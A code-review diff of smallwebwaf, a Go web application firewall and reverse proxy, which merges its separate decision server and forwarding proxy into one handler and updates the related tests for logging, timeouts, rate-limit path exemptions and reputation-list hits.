// and is written before the answer is.
addr, out := startProxy(t, "http://"+localhost+":1", map[string]string{
"SWWAF_LOG_LEVEL": "error",
})
wantStatus(t, get(t, addr, "/"), http.StatusBadGateway)
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
for _, line := range out.lines(t) {
if line["type"] == "process" {
t.Errorf("process line %v, want none at error", line)
}
}
}
func TestLogsAnAnswerThatBrokeOff(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, "the first part")
_ = http.NewResponseController(w).Flush()
panic(http.ErrAbortHandler) // drops the connection mid-answer
})
addr, out := startProxy(t, app.URL, nil)
got := get(t, addr, "/")
if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionUpstreamError)
}
func TestLogsAClientThatWentAway(t *testing.T) {
t.Parallel()
arrived := make(chan struct{})
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
close(arrived)
<-r.Context().Done()
})
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET /slow HTTP/1.1\r\nHost: app\r\n\r\n")
select {
case <-arrived:
case <-time.After(waitLimit):
t.Fatal("the request never reached the app")
}
_ = conn.Close()
line := out.requestLine(t)
if !line.Aborted || line.Status != 0 || line.Action != requestlog.ActionForward {
t.Errorf("log line has aborted %v, status %d and action %q, "+
"want true, 0 and %q",
line.Aborted, line.Status, line.Action, requestlog.ActionForward)
}
}
internal/proxy/proxy.go
+155 -100
View File
@@ -1,19 +1,16 @@
// Package proxy is servewaf's server. It runs the checks on the request each of
// rproxy's questions carries, and answers rproxy what to do with that request. It
// takes rproxy's report once the visitor's answer has ended, which counts the
// request's bytes and writes its last log line. It answers servewaf's own
// endpoints: the health check, the metrics, the bans and the clients. It passes
// nothing to an app: internal/rproxy does that.
// Package proxy passes each request to the app and the app's answer back,
// unchanged, within the size and time limits, and writes one request log
// line for each request.
package proxy
import (
"io"
"log"
"log/slog"
"net/http"
"strings"
"time"
lru "github.com/hashicorp/golang-lru/v2"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
@@ -22,16 +19,22 @@ import (
"sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// adminPrefix starts the path of each of servewaf's own endpoints. The app never
// sees a path under it.
// How smallwebwaf keeps connections to the app open between requests.
const (
appIdleConns = 100
appIdleConnTimeout = 90 * time.Second
)
// adminPrefix starts the path of every request for smallwebwaf itself,
// which never reaches the app.
const adminPrefix = "/_smallwebwaf/"
// HealthPath is the health endpoint of servewaf and of rproxy, which the
// container's health check asks.
// HealthPath is smallwebwaf's health endpoint, which the container's
// health check asks.
const HealthPath = "/_smallwebwaf/healthz"
// MetricsPath is where the metrics are, for a request that carries
@@ -42,15 +45,14 @@ const MetricsPath = "/_smallwebwaf/metrics"
// a client's address, lifts them, with SWWAF_ADMIN_TOKEN.
const BansPath = "/_smallwebwaf/bans"
// ClientsPath is where an admin asks what servewaf knows of a client, by the
// client's address after it, with SWWAF_ADMIN_TOKEN.
// ClientsPath is where an admin asks what smallwebwaf knows of a client,
// by the client's address after it, with SWWAF_ADMIN_TOKEN.
const ClientsPath = "/_smallwebwaf/clients/"
// Params are what NewServeWAF needs.
// Params are what New needs.
type Params struct {
Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to servewaf's own endpoints.
// RequestLog receives one JSON line per request.
RequestLog io.Writer
// ProcessLog receives the process's own messages.
ProcessLog *slog.Logger
@@ -70,20 +72,19 @@ type Params struct {
// Rules are the rule files' rules, which each request is checked
// against.
Rules *rules.Files
// Alerts receive the alert for each ban servewaf makes or makes
// Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
// whose client a blocklist, a DNSBL zone or AbuseIPDB lists, and for
// GeoJS failing, a fetch of a list failing, a query to a DNSBL zone or
// a check with AbuseIPDB failing, or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
}
// Server is the server servewaf runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWWAF_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, and the metrics.
// Server is the server smallwebwaf runs, with the parts of the proxy
// whose state the state files keep, the lookup database, nil unless
// SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run
// fetches, the DNSBL zones' verdicts, AbuseIPDB's scores and checks
// spent, and the metrics.
type Server struct {
*http.Server
@@ -98,24 +99,24 @@ type Server struct {
Metrics *metrics.Metrics
}
// newHandler returns the handler with what every request shares, as the
// settings in params make it.
func newHandler(params Params) *handler {
// New returns the server smallwebwaf runs: each request it reads passes
// through the proxy. Go's server itself refuses a request line and
// headers over SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES, with 431, closes a
// connection idle for SWWAF_CLIENT_IDLE_TIMEOUT, and applies
// SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy
// applies the timeouts and size limits from then on.
func New(params Params) *Server {
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
if err != nil {
panic(err) // New fails only for a size below one
}
h := &handler{
config: params.Config,
requestLog: params.RequestLog,
processLog: params.ProcessLog,
now: params.Now,
metrics: m,
awaitingReport: awaitingReport,
config: params.Config,
requestLog: params.RequestLog,
processLog: params.ProcessLog,
errorLog: errorLog,
transport: newTransport(),
now: params.Now,
metrics: m,
limiter: ratelimit.New(ratelimit.Limits{
PerMinute: params.Config.RateLimitPerMinute,
PerHour: params.Config.RateLimitPerHour,
@@ -142,13 +143,12 @@ func newHandler(params Params) *handler {
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
alerts: params.Alerts,
}
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
@@ -167,7 +167,29 @@ func newHandler(params Params) *handler {
m.AddBansAndClients(h.ledger, h.limiter, params.Now)
m.AddRules(params.Rules)
return h
return &Server{
Server: &http.Server{
Addr: params.Config.ListenAddr,
Handler: h,
ReadHeaderTimeout: params.Config.ClientRequestTimeout,
// Off is an IdleTimeout of 0, which Go's server replaces with
// ReadTimeout: no limit, as long as ReadTimeout stays unset.
IdleTimeout: params.Config.ClientIdleTimeout,
// Go's server reads 4 KiB past MaxHeaderBytes before it
// refuses, so the limit a client meets is the setting.
MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10),
ErrorLog: errorLog,
},
Ledger: h.ledger,
Limiter: h.limiter,
GeoJS: h.geojs,
Anomalies: h.anomalies,
LookupFile: h.lookupFile,
Lists: h.lists,
DNSBL: h.dnsbl,
AbuseIPDB: h.abuseIPDB,
Metrics: m,
}
}
// newReputation returns the lists fetched from URLs, the DNSBL zones'
@@ -180,9 +202,8 @@ func newReputation(
cfg := params.Config
lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now,
ProcessLog: params.ProcessLog, Alerts: params.Alerts,
})
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
@@ -205,51 +226,85 @@ func newReputation(
return lists, dnsbl, abuseIPDB
}
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off. It reads at
// most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, and the id of no rule switches
// nothing off.
panic(err)
}
return coreRuleSet
}
// handler is servewaf's handler. It holds what every request shares; what
// belongs to one request is in a request.
// handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request.
type handler struct {
config *config.Config
requestLog io.Writer
processLog *slog.Logger
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
// awaitingReport holds the decision on each answered question by its id
// until its report comes, and nil for a question still being handled.
awaitingReport *lru.Cache[string, *decision]
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
alerts *alerts.Queue
}
// newTransport returns what carries requests to the app. It never goes
// through a proxy named in the environment, and leaves the app's answers
// compressed or not as the app sent them.
func newTransport() *http.Transport {
return &http.Transport{
MaxIdleConns: appIdleConns,
MaxIdleConnsPerHost: appIdleConns,
IdleConnTimeout: appIdleConnTimeout,
DisableCompression: true,
}
}
// ServeHTTP handles one request: it works out the client, runs the
// checks, passes the request to the app and the answer back within the
// limits, or answers it itself if it is for smallwebwaf, and writes the
// request's log line.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r)
defer rq.finish()
// The health endpoint is answered at once, before any check, so that
// a health checker is never refused. It does not ask the app.
if r.Method == http.MethodGet && r.URL.Path == HealthPath {
rq.line.Action = requestlog.ActionAdmin
// Set here rather than left to Go's server, which would set it only
// after the log line has taken the response's headers.
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = io.WriteString(rq.out, "ok\n")
return
}
// Once the request has ended, before its log line is written.
defer rq.addToHistory()
defer rq.countAnomalies()
refused := rq.check(r.Context())
rq.checked = time.Now()
if refused != nil {
rq.answer(*refused)
return
}
// A request for smallwebwaf itself is answered where another would be
// passed to the app, so that it goes through every check first.
if strings.HasPrefix(r.URL.Path, adminPrefix) {
rq.answerAdmin()
return
}
// Once the response has ended, before the request is added to its
// client's history. Deferred, since ReverseProxy panics to end a
// response it cannot finish.
defer rq.countBytes()
rq.forward(r.Context())
}
internal/proxy/proxy_test.go
+90 -215
View File
@@ -5,7 +5,6 @@ import (
"bytes"
"encoding/json"
"io"
"log/slog"
"maps"
"net"
"net/http"
@@ -20,76 +19,74 @@ import (
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
const (
// shortTimeout is what a test sets a timeout to, to see it run out.
// It starts before the test has set up its case, such as an upgrade
// or the app's buffers filling, so it is as long as the hold-up of the
// test process that wantTimedOut allows: a shorter one can run out
// first on a busy host.
shortTimeout = waitLimit / 2
// longTimeoutSetting is a timeout that does not run out in a test.
longTimeoutSetting = "1m"
// waitLimit bounds how long a test waits for what should happen.
waitLimit = 10 * time.Second
// pollInterval is how often a test looks for a log line.
pollInterval = 10 * time.Millisecond
// localhost is where every test server listens, and so the address rproxy
// sees each test's requests come from.
// localhost is where every test server listens, and so the address
// smallwebwaf sees each test's requests come from.
localhost = "127.0.0.1"
// requestType is the type that marks a request log line.
requestType = "request"
// protocol is the protocol of every question.
// protocol is the protocol of every test's requests.
protocol = "HTTP/1.1"
// trustLocalhost trusts the address every test connects from, and a
// network for proxies in front of it.
trustLocalhost = localhost + "/32,10.0.0.0/8"
// appHost is the host every test asks for.
appHost = "app.example"
// client is the client's address, as a proxy names it.
client = "203.0.113.9"
// forwardedFor is the header that lists the client and its proxies,
// and forwardedProto the one that gives the scheme the client used.
forwardedFor = "X-Forwarded-For"
forwardedProto = "X-Forwarded-Proto"
// secure is the scheme a client reached traefik with, and plain the one
// rproxy serves.
secure = "https"
plain = "http"
)
// shortTimeoutSetting is shortTimeout as a setting's value.
//
//nolint:gochecknoglobals // a constant cannot call String
var shortTimeoutSetting = shortTimeout.String()
// The settings the tests set.
const (
mode = "SWWAF_MODE"
trustedProxies = "SWRP_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS"
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWWAF_LOOKUP_SOURCE"
lookupDBPath = "SWWAF_LOOKUP_DB_PATH"
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS"
deniedCountries = "SWWAF_DENIED_COUNTRIES"
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWWAF_BAN_RESPONSE"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWWAF_MAX_BAN_DURATION"
maxBans = "SWWAF_MAX_BANS"
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWWAF_INSTANCE_NAME"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT"
clientHeaderMaxBytes = "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES"
clientIdleTimeout = "SWWAF_CLIENT_IDLE_TIMEOUT"
clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT"
upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT"
mode = "SWWAF_MODE"
requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES"
responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES"
trustedProxies = "SWWAF_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWWAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWWAF_MAX_TRACKED_CLIENTS"
allowNets = "SWWAF_ALLOW_NETS"
rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWWAF_DENY_NETS"
rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWWAF_LOOKUP_SOURCE"
lookupDBPath = "SWWAF_LOOKUP_DB_PATH"
lookupTimeout = "SWWAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS"
deniedCountries = "SWWAF_DENIED_COUNTRIES"
allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWWAF_BAN_RESPONSE"
limitBanDuration = "SWWAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWWAF_MAX_BAN_DURATION"
maxBans = "SWWAF_MAX_BANS"
banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWWAF_INSTANCE_NAME"
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR"
)
// off is the value that switches a setting off.
const off = "off"
// on is the value that switches a setting that takes true or false on.
const on = "true"
// output collects what smallwebwaf writes on stdout.
type output struct {
mu sync.Mutex
@@ -175,73 +172,6 @@ func (o *output) requestLine(t *testing.T) logLine {
return o.requestLines(t, 1)[0]
}
// endedLines waits for count requests that went through rproxy, or to servewaf's
// own endpoints, to have ended, and returns the last log line of each, in the
// order servewaf took them. A question's last line is the one its report writes.
func (o *output) endedLines(t *testing.T, count int) []logLine {
t.Helper()
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
found := o.lastLines(t)
ended := len(found) >= count
for _, line := range found[:min(count, len(found))] {
if line.ServeWAFLine == requestlog.ServeWAFLineDecision {
ended = false
}
}
if ended {
return found
}
time.Sleep(pollInterval)
}
t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
return nil
}
// lastLines returns the last request log line written so far of each request,
// in the order servewaf took them.
func (o *output) lastLines(t *testing.T) []logLine {
t.Helper()
var found []logLine
places := map[string]int{}
for _, fields := range o.lines(t) {
if fields["type"] != requestType {
continue
}
line := decodeLine(t, fields)
place, seen := places[line.RequestID]
if seen {
found[place] = line
continue
}
places[line.RequestID] = len(found)
found = append(found, line)
}
return found
}
// endedLine waits for a test's one request to have ended, and returns its last
// log line.
func (o *output) endedLine(t *testing.T) logLine {
t.Helper()
return o.endedLines(t, 1)[0]
}
// decodeLine reads a request log line's fields into a logLine.
func decodeLine(t *testing.T, fields map[string]any) logLine {
t.Helper()
@@ -261,7 +191,7 @@ func decodeLine(t *testing.T, fields map[string]any) logLine {
return line
}
// startApp starts app as the app rproxy passes requests to.
// startApp starts app as the app smallwebwaf passes requests to.
func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
t.Helper()
@@ -271,9 +201,9 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
return server
}
// startProxy starts servewaf, and rproxy in front of the app at appURL, each with
// the settings in env on top of the defaults, and returns where rproxy listens
// and what servewaf writes.
// startProxy starts smallwebwaf in front of the app at appURL, with the
// settings in env on top of the defaults, and returns where it listens and
// what it writes.
func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
t.Helper()
@@ -293,10 +223,10 @@ func startProxyWithGeoJS(
}
// startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns servewaf's server as well, whose
// Addr is where servewaf listens. Unless env sets SWWAF_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWWAF_INSTANCE_NAME, that is app,
// the label instance of every metric.
// bans made by the time now tells, and returns the server as well. Unless
// env sets SWWAF_RULES_DIR, it is an empty directory, of no rules, and
// unless it sets SWWAF_INSTANCE_NAME, that is app, the label instance of
// every metric.
func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
@@ -309,70 +239,14 @@ func startProxyWithClock(
}
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
// the alerts servewaf raises as well, as newServeWAF makes them.
// the alerts the proxy raises as well, as newProxy makes them.
func startProxyWithAlerts(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
) (string, *output, *proxy.Server, *alerts.Queue) {
t.Helper()
server, out, alertQueue := newServeWAF(t, geojsURL, now, env)
serve(t, server)
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
}
// serve serves server on a port of its own until the test ends, and sets its
// Addr to where it listens.
func serve(t *testing.T, server *proxy.Server) {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
server.Addr = listener.Addr().String()
go func() {
_ = server.Serve(listener)
}()
t.Cleanup(func() {
_ = server.Close()
})
}
// startRProxy starts rproxy in front of the app at appURL, asking the servewaf
// at serveWAFAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
func startRProxy(
t *testing.T, serveWAFAddr, appURL string, env map[string]string,
) string {
t.Helper()
settings := map[string]string{
"SWRP_WAF_BACKEND": "http://" + serveWAFAddr,
"SWRP_UPSTREAM_URL": appURL,
"SWRP_TIMEOUT_MS": "60000",
}
maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
})
server, out, alertQueue := newProxy(t, appURL, geojsURL, now, env)
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
@@ -387,38 +261,28 @@ func startRProxy(
_ = server.Close()
})
return listener.Addr().String()
return listener.Addr().String(), out, server, alertQueue
}
// newServeWAF makes servewaf's server, without starting it, and returns it, what
// it writes, and the queue of the alerts it raises, as the settings in env make
// it. No alert is sent from the queue: they wait in it, for the test to look at.
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
// SWWAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off unless
// env sets it, so that only the tests of the Core Rule Set have their requests
// inspected by it.
func newServeWAF(
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
) (*proxy.Server, *output, *alerts.Queue) {
t.Helper()
return newServeWAFWith(t, proxy.NewServeWAF, geojsURL, now, env)
}
// newServeWAFWith is newServeWAF for the server build makes.
func newServeWAFWith(
t *testing.T, build func(proxy.Params) *proxy.Server,
geojsURL string, now func() time.Time, env map[string]string,
// newProxy makes the server startProxyWithClock starts, without starting
// it, and returns it, what it writes, and the queue of the alerts the
// proxy raises, as the settings in env make it. No alert is sent from the
// queue: they wait in it, for the test to look at. With no geojsURL, there
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
) (*proxy.Server, *output, *alerts.Queue) {
t.Helper()
settings := map[string]string{
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
}
if geojsURL == "" {
settings[lookupSource] = off
settings[lookupSource] = "off"
}
maps.Copy(settings, env)
@@ -463,7 +327,7 @@ func newServeWAFWith(
}
}
server := build(proxy.Params{
server := proxy.New(proxy.Params{
Config: cfg,
RequestLog: out,
ProcessLog: processLog,
@@ -507,7 +371,7 @@ func readAnswer(res *http.Response) answer {
return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
}
// newRequest makes a request for path to addr, where rproxy or servewaf listens.
// newRequest makes a request for path to smallwebwaf at addr.
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
t.Helper()
@@ -531,15 +395,15 @@ func do(t *testing.T, req *http.Request) answer {
return readAnswer(res)
}
// get sends a GET request for path to addr.
// get sends a GET request for path to smallwebwaf at addr.
func get(t *testing.T, addr, path string) answer {
t.Helper()
return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
}
// dial opens a connection to addr, for requests the HTTP client cannot make,
// such as one that stops sending halfway.
// dial opens a connection to smallwebwaf at addr, for requests the HTTP
// client cannot make, such as one that stops sending halfway.
func dial(t *testing.T, addr string) net.Conn {
t.Helper()
@@ -600,3 +464,14 @@ func wantStatus(t *testing.T, got answer, status int) {
t.Errorf("status %d, want %d", got.status, status)
}
}
// wantTimedOut checks that what began at start ended once shortTimeout
// had run out, and not much later.
func wantTimedOut(t *testing.T, start time.Time) {
t.Helper()
took := time.Since(start)
if took < shortTimeout || took > shortTimeout+waitLimit/2 {
t.Errorf("took %s, want %s", took, shortTimeout)
}
}
internal/proxy/ratelimits_test.go
+1 -4
View File
@@ -51,7 +51,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
req.Header.Set(forwardedFor, sent.client)
wantStatus(t, do(t, req), sent.want)
line := out.endedLines(t, i+1)[i]
line := out.requestLines(t, i+1)[i]
if line.ClientIP != sent.logged {
t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
}
@@ -185,9 +185,6 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
"/assets/x%2Fy",
"/assets/x%2fy",
`/assets/x\y`,
// The same with a character Go escapes, |, for which Go's
// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
"/assets/x%2Fy|z",
} {
t.Run(sent, func(t *testing.T) {
t.Parallel()
internal/proxy/reputation.go
+12 -36
View File
@@ -2,10 +2,8 @@ package proxy
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
@@ -26,22 +24,6 @@ func (rq *request) blocklistDenied() bool {
return rq.blocklisted && rq.h.config.BlocklistAction == deny
}
// crowdSecBanned reports whether a decision of the CrowdSec decision list
// on the client is in force at now. If one is, it notes the list, as
// noteHit does, and bans the client until that decision ends.
func (rq *request) crowdSecBanned(now time.Time) bool {
decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
if !listed {
return false
}
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
rq.banForCrowdSec(now, decision)
return true
}
// dnsblDenied notes the DNSBL zones whose verdict lists the client, as
// noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being
// deny, refuses the request. Being limit, it lowers the client's limits
@@ -80,37 +62,31 @@ func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
}
rq.abuseIPDBHit = true
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE")
rq.noteHit(reputation.AbuseIPDBSource, "scored by AbuseIPDB at or over "+
"SWWAF_ABUSEIPDB_MIN_SCORE", map[string]any{
"source": reputation.AbuseIPDBSource, "score": score,
})
return rq.h.config.ReputationAction == deny
}
// noteListed notes each of sources, the URLs of the blocklists or the
// DNSBL zones, their keys masked, that list the client, as noteHit does,
// with reason.
// with reason, and the source in the alert's detail.
func (rq *request) noteListed(sources []string, reason string) {
for _, source := range sources {
rq.noteHit(bans.ReputationHit{Source: source}, reason)
rq.noteHit(source, reason, map[string]any{"source": source})
}
}
// noteHit adds hit's source, which lists the client, to the log line's
// reputation, and hit to the notes of a ban the request makes, counts the
// source in the metrics, and raises a reputation_hit alert with reason,
// whose detail gives hit's source and score.
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
detail := map[string]any{"source": hit.Source}
if hit.Score != nil {
detail["score"] = *hit.Score
}
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
rq.reputation = append(rq.reputation, hit)
rq.h.metrics.ReputationHit(hit.Source)
// noteHit adds source, which lists the client, to the log line's
// reputation, counts it in the metrics, and raises a reputation_hit alert
// with reason and detail.
func (rq *request) noteHit(source, reason string, detail map[string]any) {
rq.line.Reputation = append(rq.line.Reputation, source)
rq.h.metrics.ReputationHit(source)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Host: rq.site,
